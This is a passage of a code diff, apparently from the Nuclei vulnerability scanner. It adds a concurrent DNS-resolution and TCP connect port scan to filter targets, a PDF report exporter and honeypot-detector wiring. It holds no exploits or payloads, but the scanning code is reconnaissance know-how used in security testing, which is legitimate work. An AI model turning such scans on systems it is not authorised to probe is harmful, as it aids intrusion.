||||
|
||||
data, err := simulateOnResultCallback("auth.yaml", events)
|
||||
|
||||
require.Error(t, err)
|
||||
require.Contains(t, err.Error(), "no extracted values")
|
||||
require.Empty(t, data)
|
||||
}
|
||||
|
||||
// TestCallbackDynamicValues verifies dynamic values (internal extractors) are captured.
|
||||
func TestCallbackDynamicValues(t *testing.T) {
|
||||
events := []*output.InternalWrappedEvent{
|
||||
{
|
||||
OperatorsResult: &operators.Result{
|
||||
Matched: true,
|
||||
DynamicValues: map[string][]string{
|
||||
"session": {"sess-xyz-123", "sess-a"},
|
||||
},
|
||||
},
|
||||
InternalEvent: map[string]interface{}{},
|
||||
},
|
||||
}
|
||||
|
||||
data, err := simulateOnResultCallback("auth.yaml", events)
|
||||
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "sess-xyz-123", data["session"], "should pick the longest value")
|
||||
}
|
||||
@@ -2,6 +2,7 @@ package runner
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
@@ -25,6 +26,7 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/pdf"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
@@ -297,6 +299,17 @@ func validateDASTOptions(options *types.Options) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadReportingOptionsFromBytes parses YAML reporting-config bytes into a
|
||||
// *reporting.Options with env-var expansion, matching the CLI's -report-config.
|
||||
func LoadReportingOptionsFromBytes(data []byte) (*reporting.Options, error) {
|
||||
reportingOptions := &reporting.Options{}
|
||||
if err := yaml.DecodeAndValidate(bytes.NewReader(data), reportingOptions); err != nil {
|
||||
return nil, errors.Wrap(err, "could not parse reporting config file")
|
||||
}
|
||||
Walk(reportingOptions, expandEndVars)
|
||||
return reportingOptions, nil
|
||||
}
|
||||
|
||||
func createReportingOptions(options *types.Options) (*reporting.Options, error) {
|
||||
var reportingOptions = &reporting.Options{}
|
||||
if options.ReportingConfig != "" {
|
||||
@@ -342,6 +355,17 @@ func createReportingOptions(options *types.Options) (*reporting.Options, error)
|
||||
}
|
||||
}
|
||||
}
|
||||
if options.PDFExport != "" {
|
||||
if reportingOptions.PDFExporter != nil {
|
||||
reportingOptions.PDFExporter.File = options.PDFExport
|
||||
reportingOptions.PDFExporter.OmitRaw = options.OmitRawRequests
|
||||
} else {
|
||||
reportingOptions.PDFExporter = &pdf.Options{
|
||||
File: options.PDFExport,
|
||||
OmitRaw: options.OmitRawRequests,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reportingOptions.OmitRaw = options.OmitRawRequests
|
||||
reportingOptions.ExecutionId = options.ExecutionId
|
||||
|
||||
@@ -49,7 +49,7 @@ func TestParseHeadlessOptionalArguments(t *testing.T) {
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
strsl := goflags.StringSlice{}
|
||||
for _, v := range strings.Split(tt.input, ",") {
|
||||
for v := range strings.SplitSeq(tt.input, ",") {
|
||||
//nolint
|
||||
strsl.Set(v)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,654 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
inputtypes "github.com/projectdiscovery/nuclei/v3/pkg/input/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/utils/errkit"
|
||||
iputil "github.com/projectdiscovery/utils/ip"
|
||||
mapsutil "github.com/projectdiscovery/utils/maps"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
syncutil "github.com/projectdiscovery/utils/sync"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
const preflightWorkers = 100
|
||||
|
||||
// preflightDialTimeout is intentionally short: this is a coarse filter to skip
|
||||
// obviously-dead targets before the real scan (which will use full timeouts).
|
||||
const preflightDialTimeout = 750 * time.Millisecond
|
||||
|
||||
type filteringInputProvider struct {
|
||||
base provider.InputProvider
|
||||
allowed *mapsutil.SyncLockMap[string, struct{}]
|
||||
allowCnt int64
|
||||
execID string
|
||||
}
|
||||
|
||||
func (f *filteringInputProvider) Count() int64 { return f.allowCnt }
|
||||
func (f *filteringInputProvider) InputType() string { return f.base.InputType() }
|
||||
func (f *filteringInputProvider) Close() { f.base.Close() }
|
||||
func (f *filteringInputProvider) Set(executionId string, value string) {
|
||||
f.base.Set(executionId, value)
|
||||
}
|
||||
func (f *filteringInputProvider) SetWithProbe(executionId string, value string, probe inputtypes.InputLivenessProbe) error {
|
||||
return f.base.SetWithProbe(executionId, value, probe)
|
||||
}
|
||||
func (f *filteringInputProvider) SetWithExclusions(executionId string, value string) error {
|
||||
return f.base.SetWithExclusions(executionId, value)
|
||||
}
|
||||
func (f *filteringInputProvider) Iterate(callback func(value *contextargs.MetaInput) bool) {
|
||||
f.base.Iterate(func(mi *contextargs.MetaInput) bool {
|
||||
key, err := mi.MarshalString()
|
||||
if err != nil {
|
||||
return callback(mi)
|
||||
}
|
||||
if _, ok := f.allowed.Get(key); !ok {
|
||||
return true
|
||||
}
|
||||
return callback(mi)
|
||||
})
|
||||
}
|
||||
|
||||
// preflightResolveAndPortScan resolves hostname targets and performs a TCP connect scan for ports
|
||||
// required by loaded templates. Targets that are non-resolvable hostnames or have no relevant open
|
||||
// ports are filtered out from the input provider.
|
||||
func (r *Runner) preflightResolveAndPortScan(store *loader.Store) error {
|
||||
if r.inputProvider == nil {
|
||||
return nil
|
||||
}
|
||||
// MultiFormat inputs may represent complete requests; skip preflight for now.
|
||||
if r.inputProvider.InputType() == provider.MultiFormatInputProvider {
|
||||
return nil
|
||||
}
|
||||
|
||||
finalTemplates := []*templates.Template{}
|
||||
finalTemplates = append(finalTemplates, store.Templates()...)
|
||||
finalTemplates = append(finalTemplates, store.Workflows()...)
|
||||
if len(finalTemplates) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
dialers := protocolstate.GetDialersWithId(r.options.ExecutionId)
|
||||
if dialers == nil || dialers.Fastdialer == nil {
|
||||
return fmt.Errorf("dialers not initialized for %s", r.options.ExecutionId)
|
||||
}
|
||||
|
||||
portsPopularity := portsPopularityFromTemplates(finalTemplates)
|
||||
// Also include ports explicitly present in input list (ip:port or URL with port),
|
||||
// so that a user-provided port isn't dropped even if templates didn't specify it.
|
||||
var inputs []preflightTarget
|
||||
portsFromInputs := map[string]struct{}{}
|
||||
var totalTargets atomic.Int64
|
||||
r.inputProvider.Iterate(func(mi *contextargs.MetaInput) bool {
|
||||
totalTargets.Add(1)
|
||||
key, err := mi.MarshalString()
|
||||
if err != nil {
|
||||
return true
|
||||
}
|
||||
// Use Target()/CustomIP so preflight resolves the same address the real
|
||||
// scan would connect to (honors ReqResp-backed targets and CustomIP),
|
||||
// instead of only the raw Input which can mismatch routing state.
|
||||
inputs = append(inputs, preflightTarget{key: key, target: mi.Target(), customIP: mi.CustomIP})
|
||||
extractPortsFromInput(portsFromInputs, mi.Target())
|
||||
return true
|
||||
})
|
||||
|
||||
portsToScan := sliceutil.Dedupe(append(keysOfPopularity(portsPopularity), keysOf(portsFromInputs)...))
|
||||
portsToScan = filterValidPorts(portsToScan)
|
||||
// Sort by "likely-open" order (nmap-ish/common ports first), then numeric for determinism.
|
||||
likelyRank := likelyOpenPortRank()
|
||||
sort.Slice(portsToScan, func(i, j int) bool {
|
||||
pi, pj := portsToScan[i], portsToScan[j]
|
||||
ri, okRi := likelyRank[pi]
|
||||
rj, okRj := likelyRank[pj]
|
||||
// ranked ports first
|
||||
if okRi != okRj {
|
||||
return okRi
|
||||
}
|
||||
// among ranked ports, lower rank wins
|
||||
if okRi && okRj && ri != rj {
|
||||
return ri < rj
|
||||
}
|
||||
// numeric asc
|
||||
ni, _ := strconv.Atoi(pi)
|
||||
nj, _ := strconv.Atoi(pj)
|
||||
return ni < nj
|
||||
})
|
||||
|
||||
// If no ports were found, nothing to scan -> keep all.
|
||||
if len(portsToScan) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if !r.options.Silent {
|
||||
r.Logger.Info().Msgf("Running preflight portscan (workers=%d, ports=%d, targets=%d)", preflightWorkers, len(portsToScan), totalTargets.Load())
|
||||
}
|
||||
|
||||
swg, err := syncutil.New(syncutil.WithSize(preflightWorkers))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Resolve all targets (once) up-front so we can optionally run a single batched TCP dial scan.
|
||||
// Map original input key -> resolved IPs (deduped).
|
||||
// SyncLockMap requires comparable values; store resolved IPs as a comma-separated string.
|
||||
resolvedIPsByKey := mapsutil.NewSyncLockMap[string, string]()
|
||||
allIPsSet := mapsutil.NewSyncLockMap[string, struct{}]()
|
||||
var resolveProcessed atomic.Int64
|
||||
var resolveDNSFail atomic.Int64
|
||||
|
||||
for _, t := range inputs {
|
||||
swg.Add()
|
||||
go func(t preflightTarget) {
|
||||
defer swg.Done()
|
||||
host, _, _, _ := hostForResolveAndScan(t.target)
|
||||
if t.customIP != "" {
|
||||
host = t.customIP
|
||||
}
|
||||
if host == "" {
|
||||
resolveDNSFail.Add(1)
|
||||
resolveProcessed.Add(1)
|
||||
return
|
||||
}
|
||||
ips := []string{}
|
||||
if iputil.IsIP(host) {
|
||||
ips = append(ips, host)
|
||||
} else {
|
||||
dns, err := dialers.Fastdialer.GetDNSData(host)
|
||||
if err != nil || (len(dns.A) == 0 && len(dns.AAAA) == 0) {
|
||||
resolveDNSFail.Add(1)
|
||||
resolveProcessed.Add(1)
|
||||
return
|
||||
}
|
||||
ips = append(ips, dns.A...)
|
||||
ips = append(ips, dns.AAAA...)
|
||||
}
|
||||
ips = sliceutil.Dedupe(ips)
|
||||
if len(ips) == 0 {
|
||||
resolveDNSFail.Add(1)
|
||||
resolveProcessed.Add(1)
|
||||
return
|
||||
}
|
||||
|
||||
// store
|
||||
// (small contention; acceptable at preflight scale)
|
||||
_ = resolvedIPsByKey.Set(t.key, strings.Join(ips, ","))
|
||||
for _, ip := range ips {
|
||||
_ = allIPsSet.Set(ip, struct{}{})
|
||||
}
|
||||
resolveProcessed.Add(1)
|
||||
}(t)
|
||||
}
|
||||
swg.Wait()
|
||||
|
||||
// Prepare list of all IPs for scan.
|
||||
allIPsMap := allIPsSet.GetAll()
|
||||
allIPs := make([]string, 0, len(allIPsMap))
|
||||
for ip := range allIPsMap {
|
||||
allIPs = append(allIPs, ip)
|
||||
}
|
||||
sort.Strings(allIPs)
|
||||
|
||||
// we do fast TCP dial scanning against resolved IPs.
|
||||
if !r.options.Silent {
|
||||
r.Logger.Info().Msgf("Preflight resolution: total=%d resolvable=%d unresolvable=%d", totalTargets.Load(), int64(len(resolvedIPsByKey.GetAll())), resolveDNSFail.Load())
|
||||
}
|
||||
|
||||
allowed := mapsutil.NewSyncLockMap[string, struct{}]()
|
||||
|
||||
var dnsFail atomic.Int64
|
||||
var portFail atomic.Int64
|
||||
var kept atomic.Int64
|
||||
var processed atomic.Int64
|
||||
|
||||
perPortOpen := mapsutil.NewSyncLockMap[string, *atomic.Int64]()
|
||||
|
||||
// Periodic progress logging
|
||||
// Always enabled unless running in silent mode.
|
||||
debugProgress := true
|
||||
stopProgress := make(chan struct{})
|
||||
if debugProgress && !r.options.Silent {
|
||||
start := time.Now()
|
||||
go func() {
|
||||
t := time.NewTicker(1 * time.Second)
|
||||
defer t.Stop()
|
||||
var lastProcessed int64
|
||||
for {
|
||||
select {
|
||||
case <-t.C:
|
||||
p := processed.Load()
|
||||
if p == lastProcessed {
|
||||
continue
|
||||
}
|
||||
lastProcessed = p
|
||||
total := totalTargets.Load()
|
||||
k := kept.Load()
|
||||
df := dnsFail.Load()
|
||||
pf := portFail.Load()
|
||||
dropped := p - k
|
||||
r.Logger.Info().Msgf("Preflight progress: %d/%d processed (kept=%d dropped=%d dns_fail=%d port_fail=%d elapsed=%s)",
|
||||
p, total, k, dropped, df, pf, time.Since(start).Truncate(time.Second))
|
||||
case <-stopProgress:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for _, t := range inputs {
|
||||
swg.Add()
|
||||
go func(t preflightTarget) {
|
||||
defer swg.Done()
|
||||
ok, openPort, reason := r.preflightOneResolved(t.key, t.target, portsToScan, resolvedIPsByKey)
|
||||
processed.Add(1)
|
||||
if ok {
|
||||
_ = allowed.Set(t.key, struct{}{})
|
||||
kept.Add(1)
|
||||
if openPort != "" {
|
||||
counter, _ := perPortOpen.Get(openPort)
|
||||
if counter == nil {
|
||||
counter = &atomic.Int64{}
|
||||
_ = perPortOpen.Set(openPort, counter)
|
||||
}
|
||||
counter.Add(1)
|
||||
}
|
||||
return
|
||||
}
|
||||
switch reason {
|
||||
case preflightReasonDNS:
|
||||
dnsFail.Add(1)
|
||||
case preflightReasonPorts:
|
||||
portFail.Add(1)
|
||||
}
|
||||
}(t)
|
||||
}
|
||||
swg.Wait()
|
||||
close(stopProgress)
|
||||
|
||||
// Apply filtering wrapper
|
||||
allowedAll := allowed.GetAll()
|
||||
r.inputProvider = &filteringInputProvider{
|
||||
base: r.inputProvider,
|
||||
allowed: allowed,
|
||||
allowCnt: int64(len(allowedAll)),
|
||||
execID: r.options.ExecutionId,
|
||||
}
|
||||
|
||||
// Summary
|
||||
if !r.options.Silent {
|
||||
dropped := totalTargets.Load() - kept.Load()
|
||||
r.Logger.Info().Msgf("Preflight summary: total=%d kept=%d filtered_dns=%d filtered_ports=%d",
|
||||
totalTargets.Load(), kept.Load(), dnsFail.Load(), portFail.Load())
|
||||
r.Logger.Info().Msgf("Preflight targets: dropped=%d left=%d", dropped, kept.Load())
|
||||
perPortOpenAll := perPortOpen.GetAll()
|
||||
if len(perPortOpenAll) > 0 {
|
||||
type kv struct {
|
||||
port string
|
||||
count int64
|
||||
}
|
||||
kvs := make([]kv, 0, len(perPortOpenAll))
|
||||
for p, c := range perPortOpenAll {
|
||||
if c == nil {
|
||||
continue
|
||||
}
|
||||
kvs = append(kvs, kv{port: p, count: c.Load()})
|
||||
}
|
||||
sort.Slice(kvs, func(i, j int) bool {
|
||||
if kvs[i].count == kvs[j].count {
|
||||
return kvs[i].port < kvs[j].port
|
||||
}
|
||||
return kvs[i].count > kvs[j].count
|
||||
})
|
||||
parts := make([]string, 0, len(kvs))
|
||||
for _, item := range kvs {
|
||||
parts = append(parts, fmt.Sprintf("%s=%d", item.port, item.count))
|
||||
}
|
||||
r.Logger.Info().Msgf("Preflight open-port distribution: %s", strings.Join(parts, " "))
|
||||
}
|
||||
}
|
||||
|
||||
_ = gologger.DefaultLogger // ensure logger imported even when silent builds vary
|
||||
return nil
|
||||
}
|
||||
|
||||
type preflightTarget struct {
|
||||
key string
|
||||
target string
|
||||
customIP string
|
||||
}
|
||||
|
||||
type preflightReason int
|
||||
|
||||
const (
|
||||
preflightReasonNone preflightReason = iota
|
||||
preflightReasonDNS
|
||||
preflightReasonPorts
|
||||
)
|
||||
|
||||
func (r *Runner) preflightOneResolved(key string, raw string, ports []string, resolved *mapsutil.SyncLockMap[string, string]) (ok bool, openPort string, reason preflightReason) {
|
||||
resolvedIPsCSV, _ := resolved.Get(key)
|
||||
if resolvedIPsCSV == "" {
|
||||
return false, "", preflightReasonDNS
|
||||
}
|
||||
ips := strings.Split(resolvedIPsCSV, ",")
|
||||
|
||||
// TCP dial scan using resolved IPs
|
||||
host, schemePort, hasSchemePort, _ := hostForResolveAndScan(raw)
|
||||
ordered := ports
|
||||
if hasSchemePort && schemePort != "" {
|
||||
ordered = append([]string{schemePort}, ports...)
|
||||
ordered = sliceutil.Dedupe(ordered)
|
||||
}
|
||||
|
||||
timeout := preflightDialTimeout
|
||||
if r.options.Timeout > 0 {
|
||||
t := time.Duration(r.options.Timeout) * time.Second
|
||||
if t > 0 && t < timeout {
|
||||
timeout = t
|
||||
}
|
||||
}
|
||||
// Use net.Dialer directly for strict timeout enforcement.
|
||||
// We already resolved IPs, so we don't need fastdialer DNS behavior here.
|
||||
// This avoids rare cases where proxy dialers / custom dial stacks may not respect ctx cancellation promptly.
|
||||
d := &net.Dialer{Timeout: timeout}
|
||||
|
||||
// Per-host parallelism: probe up to 3 ports concurrently, stop on first success.
|
||||
ctx, cancelAll := context.WithCancel(context.Background())
|
||||
defer cancelAll()
|
||||
|
||||
type hit struct {
|
||||
port string
|
||||
}
|
||||
resultCh := make(chan hit, 1)
|
||||
portsCh := make(chan string)
|
||||
|
||||
worker := func() {
|
||||
for p := range portsCh {
|
||||
// Stop quickly if someone already found an open port.
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
for _, ip := range ips {
|
||||
_ = host // keep for debugging parity
|
||||
dctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
conn, err := d.DialContext(dctx, "tcp", net.JoinHostPort(ip, p))
|
||||
cancel()
|
||||
if err == nil {
|
||||
_ = conn.Close()
|
||||
// Best-effort: first hit wins.
|
||||
select {
|
||||
case resultCh <- hit{port: p}:
|
||||
cancelAll()
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
// If ctx cancelled (other worker won), stop early.
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
workers := 3
|
||||
if len(ordered) < workers {
|
||||
workers = len(ordered)
|
||||
}
|
||||
for i := 0; i < workers; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
worker()
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer close(portsCh)
|
||||
for _, p := range ordered {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case portsCh <- p:
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// Wait for either a hit or all workers to finish.
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(done)
|
||||
}()
|
||||
|
||||
select {
|
||||
case h := <-resultCh:
|
||||
<-done
|
||||
return true, h.port, preflightReasonNone
|
||||
case <-done:
|
||||
return false, "", preflightReasonPorts
|
||||
}
|
||||
}
|
||||
|
||||
func portsPopularityFromTemplates(tpls []*templates.Template) map[string]int {
|
||||
out := map[string]int{}
|
||||
for _, tpl := range tpls {
|
||||
// HTTP templates imply 80/443 for preflight.
|
||||
if len(tpl.RequestsHTTP) > 0 || len(tpl.RequestsWithHTTP) > 0 || len(tpl.RequestsHeadless) > 0 {
|
||||
out["80"]++
|
||||
out["443"]++
|
||||
}
|
||||
// Network templates declare ports directly.
|
||||
for _, req := range tpl.RequestsNetwork {
|
||||
for _, p := range splitPorts(req.Port) {
|
||||
out[p]++
|
||||
}
|
||||
}
|
||||
for _, req := range tpl.RequestsWithTCP {
|
||||
for _, p := range splitPorts(req.Port) {
|
||||
out[p]++
|
||||
}
|
||||
}
|
||||
// Javascript templates may include args.Port (comma-separated).
|
||||
for _, req := range tpl.RequestsJavascript {
|
||||
for _, p := range extractPortsFromJSArgs(req.Args) {
|
||||
out[p]++
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func keysOfPopularity(m map[string]int) []string {
|
||||
out := make([]string, 0, len(m))
|
||||
for k := range m {
|
||||
out = append(out, k)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// likelyOpenPortRank returns a heuristic "most likely to be open" ranking for common TCP ports.
|
||||
// This is intentionally static (fast + deterministic) and loosely aligns with what scanners like nmap
|
||||
// tend to prioritize (common services first).
|
||||
func likelyOpenPortRank() map[string]int {
|
||||
// Lower index = higher priority.
|
||||
// Keep this list small-ish but useful; anything not in here falls back to template popularity + numeric.
|
||||
common := []string{
|
||||
"80", "443",
|
||||
"22", "21", "23",
|
||||
"25", "110", "143", "465", "587", "993", "995",
|
||||
"53",
|
||||
"3389",
|
||||
"445", "139",
|
||||
"135",
|
||||
"3306", "5432", "1433", "1521",
|
||||
"6379", "27017",
|
||||
"9200", "9300",
|
||||
"8080", "8443", "8000", "8008", "8081", "8888",
|
||||
"9201",
|
||||
"161", "162",
|
||||
"389", "636",
|
||||
"5900",
|
||||
"11211",
|
||||
"69", "123",
|
||||
"1194",
|
||||
"500", "4500",
|
||||
}
|
||||
rank := make(map[string]int, len(common))
|
||||
for i, p := range common {
|
||||
// do not overwrite if duplicates
|
||||
if _, ok := rank[p]; !ok {
|
||||
rank[p] = i
|
||||
}
|
||||
}
|
||||
return rank
|
||||
}
|
||||
|
||||
func extractPortsFromJSArgs(args map[string]interface{}) []string {
|
||||
if args == nil {
|
||||
return nil
|
||||
}
|
||||
for k, v := range args {
|
||||
if strings.EqualFold(k, "Port") {
|
||||
s := fmt.Sprint(v)
|
||||
return splitPorts(s)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func splitPorts(s string) []string {
|
||||
if s == "" {
|
||||
return nil
|
||||
}
|
||||
var out []string
|
||||
for p := range strings.SplitSeq(s, ",") {
|
||||
p = strings.TrimSpace(p)
|
||||
if p != "" {
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func extractPortsFromInput(dst map[string]struct{}, input string) {
|
||||
if dst == nil {
|
||||
return
|
||||
}
|
||||
in := strings.TrimSpace(input)
|
||||
if in == "" {
|
||||
return
|
||||
}
|
||||
low := strings.ToLower(in)
|
||||
if strings.HasPrefix(low, "http://") {
|
||||
dst["80"] = struct{}{}
|
||||
}
|
||||
if strings.HasPrefix(low, "https://") {
|
||||
dst["443"] = struct{}{}
|
||||
}
|
||||
// URL parsing (best effort)
|
||||
if u, err := urlutil.Parse(in); err == nil && u != nil {
|
||||
if p := u.Port(); p != "" {
|
||||
dst[p] = struct{}{}
|
||||
} else if u.Scheme == "http" {
|
||||
dst["80"] = struct{}{}
|
||||
} else if u.Scheme == "https" {
|
||||
dst["443"] = struct{}{}
|
||||
}
|
||||
return
|
||||
}
|
||||
// host:port
|
||||
_, p, err := net.SplitHostPort(in)
|
||||
if err == nil && p != "" {
|
||||
dst[p] = struct{}{}
|
||||
}
|
||||
}
|
||||
|
||||
func hostForResolveAndScan(raw string) (host string, schemeDefaultPort string, hasSchemePort bool, err error) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return "", "", false, errkit.New("empty input")
|
||||
}
|
||||
// If it looks like URL, parse and extract hostname.
|
||||
if stringsutil.ContainsAny(raw, "://") {
|
||||
u, perr := urlutil.ParseAbsoluteURL(raw, false)
|
||||
if perr == nil && u != nil {
|
||||
host = u.Hostname()
|
||||
if u.Port() != "" {
|
||||
return host, "", false, nil
|
||||
}
|
||||
switch strings.ToLower(u.Scheme) {
|
||||
case "http":
|
||||
return host, "80", true, nil
|
||||
case "https":
|
||||
return host, "443", true, nil
|
||||
}
|
||||
return host, "", false, nil
|
||||
}
|
||||
}
|
||||
// Try host:port form
|
||||
h, _, serr := net.SplitHostPort(raw)
|
||||
if serr == nil && h != "" {
|
||||
return h, "", false, nil
|
||||
}
|
||||
// Bare host/ip
|
||||
return raw, "", false, nil
|
||||
}
|
||||
|
||||
func keysOf(m map[string]struct{}) []string {
|
||||
out := make([]string, 0, len(m))
|
||||
for k := range m {
|
||||
out = append(out, k)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func filterValidPorts(ports []string) []string {
|
||||
out := make([]string, 0, len(ports))
|
||||
for _, p := range ports {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
// allow numeric only
|
||||
if !isNumeric(p) {
|
||||
continue
|
||||
}
|
||||
i, err := strconv.Atoi(p)
|
||||
if err != nil || i < 1 || i > 65535 {
|
||||
continue
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return sliceutil.Dedupe(out)
|
||||
}
|
||||
|
||||
func isNumeric(s string) bool {
|
||||
for _, r := range s {
|
||||
if r < '0' || r > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
+198
-61
@@ -6,6 +6,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
@@ -29,7 +30,7 @@ import (
|
||||
pprofutil "github.com/projectdiscovery/utils/pprof"
|
||||
updateutils "github.com/projectdiscovery/utils/update"
|
||||
|
||||
"github.com/logrusorgru/aurora"
|
||||
"github.com/logrusorgru/aurora/v4"
|
||||
"github.com/pkg/errors"
|
||||
"github.com/projectdiscovery/ratelimit"
|
||||
|
||||
@@ -51,9 +52,11 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/automaticscan"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/honeypotdetector"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine"
|
||||
@@ -84,7 +87,7 @@ type Runner struct {
|
||||
projectFile *projectfile.ProjectFile
|
||||
catalog catalog.Catalog
|
||||
progress progress.Progress
|
||||
colorizer aurora.Aurora
|
||||
colorizer *aurora.Aurora
|
||||
issuesClient reporting.Client
|
||||
browser *engine.Browser
|
||||
rateLimiter *ratelimit.Limiter
|
||||
@@ -97,6 +100,8 @@ type Runner struct {
|
||||
httpStats *outputstats.Tracker
|
||||
Logger *gologger.Logger
|
||||
|
||||
honeypotDetector *honeypotdetector.Detector
|
||||
|
||||
//general purpose temporary directory
|
||||
tmpDir string
|
||||
parser parser.Parser
|
||||
@@ -112,16 +117,25 @@ func New(options *types.Options) (*Runner, error) {
|
||||
Logger: options.Logger,
|
||||
}
|
||||
|
||||
if err := config.DefaultConfig.InitializationError(); err != nil && !options.HealthCheck {
|
||||
return nil, fmt.Errorf("initialize nuclei configuration: %w", err)
|
||||
}
|
||||
|
||||
if options.HealthCheck {
|
||||
runner.Logger.Print().Msgf("%s\n", DoHealthCheck(options))
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if options.Verbose || options.VerboseVerbose {
|
||||
LogDirectoryInfo(runner.Logger)
|
||||
}
|
||||
|
||||
// Version check by default
|
||||
if config.DefaultConfig.CanCheckForUpdates() {
|
||||
if err := installer.NucleiVersionCheck(); err != nil {
|
||||
latestIgnoreHash, versionCheckErr := installer.NucleiVersionCheck()
|
||||
if versionCheckErr != nil {
|
||||
if options.Verbose || options.Debug {
|
||||
runner.Logger.Error().Msgf("nuclei version check failed got: %s\n", err)
|
||||
runner.Logger.Error().Msgf("nuclei version check failed got: %s\n", versionCheckErr)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -138,15 +152,15 @@ func New(options *types.Options) (*Runner, error) {
|
||||
DisablePublicTemplates: options.PublicTemplateDisableDownload,
|
||||
}
|
||||
if err := tm.FreshInstallIfNotExists(); err != nil {
|
||||
runner.Logger.Warning().Msgf("failed to install nuclei templates: %s\n", err)
|
||||
runner.Logger.Warning().Msgf("Failed to install nuclei templates: %s\n", err)
|
||||
}
|
||||
if err := tm.UpdateIfOutdated(); err != nil {
|
||||
runner.Logger.Warning().Msgf("failed to update nuclei templates: %s\n", err)
|
||||
runner.Logger.Warning().Msgf("Failed to update nuclei templates: %s\n", err)
|
||||
}
|
||||
|
||||
if config.DefaultConfig.NeedsIgnoreFileUpdate() {
|
||||
if config.DefaultConfig.IgnoreFileNeedsUpdate(latestIgnoreHash) {
|
||||
if err := installer.UpdateIgnoreFile(); err != nil {
|
||||
runner.Logger.Warning().Msgf("failed to update nuclei ignore file: %s\n", err)
|
||||
runner.Logger.Warning().Msgf("Failed to update .nuclei-ignore file: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -156,6 +170,7 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if !config.DefaultConfig.NeedsTemplateUpdate() {
|
||||
runner.Logger.Info().Msgf("No new updates found for nuclei templates")
|
||||
}
|
||||
|
||||
// manually trigger update of custom templates
|
||||
if ctm != nil {
|
||||
